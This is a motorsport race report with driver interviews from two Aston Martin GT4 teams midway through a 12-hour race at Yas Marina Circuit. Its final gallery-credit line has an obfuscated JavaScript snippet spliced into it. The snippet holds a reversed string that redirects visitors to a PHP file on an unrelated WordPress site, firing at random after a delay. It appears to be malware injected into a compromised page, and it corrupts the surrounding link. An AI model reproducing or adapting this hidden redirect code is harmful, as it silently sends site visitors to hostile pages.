Yas Marina Circuit – GTX #22 – Aston Martin Vantage GT4
“So far everything is okay. Most of the team work here at Yas Marina, and myself and Saeed [Al Mehairi, teammate] work here as circuit instructors. It’s also been great having our good friend Hasher [Al Maktoum] as the third driver.
We started with very good pace today, and did a couple of good laps. We kept going lap after lap a little quicker, but we have to focus because it’s a 12-hour race. We finished the first six hours in second place in our category, and now with two hours remaining, still we’re in second place. We’re three laps behind the lead car, but it’s a Ginetta, which is very good in the high-speed corners. We couldn’t’ catch up but we’re so happy to be where we are at the moment.
“Usually in racing school, we instruct newcomers in the radicals and Formula Yas 3000 single seaters. But in the Aston [Martin Vantage GT4] it’s very different. Plus we’re not pushing to the limits as we would be if we were instructing. We can’t! But we know each and every corner, so we try to use that to our advantage.
“We are looking after the car. Just the basics parts – like brakes and tyres – have been changed. But it’s the same with other teams. From second place back to third there’s seven laps, but we don’t want to push the car. Hopefully that podium will be ours!” Abbas Al Alawi
Gulf Racing Middle East – GTX #20 – Aston Martin Vantage GT4
“We’ve been going quite well, especially considering the competition. We had a little accident about three hours into the race with a Ferrari, and that took about 45 minutes to repair which knocked us way, way back. But the car’s running well.
“We would have liked to be closer with the Yas Marina Circuit car, since it’s so similar. But the guys clearly know the circuit here very well. They’re even beating Barwell Motorsport, so obviously the local knowledge is really helping them.
“It’s very draining. Very hot in the car! We’re got our third driver – Nigel Farmer – who’s also going to drive in the Dubai 24hrs with us. He says he’s going to do sit ups in the sauna until January! But there’s just not enough airflow. We should have resolved that by now, but have had other issues to deal with. We took the air-conditioning out of the car and that saved 30kg, since we never used it.
“We’re not setting any land speeds records. The car took a big knock, which knocked the telemetry a bit. But the nice thing about the event is at the halfway point where you can do work. I also think with the colder temperatures, we’re running quicker.
“We will be at the finish though. I’m confident of that.” Martin Baerschmidt
For results at the 10th hour, click HERE.
– Shots courtesy of David Benson. Be sure to check out$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/galleries/album/01/gulf-12hrs-dec-12/” target=”_blank”> the full Gulf 12hrs gallery HERE.
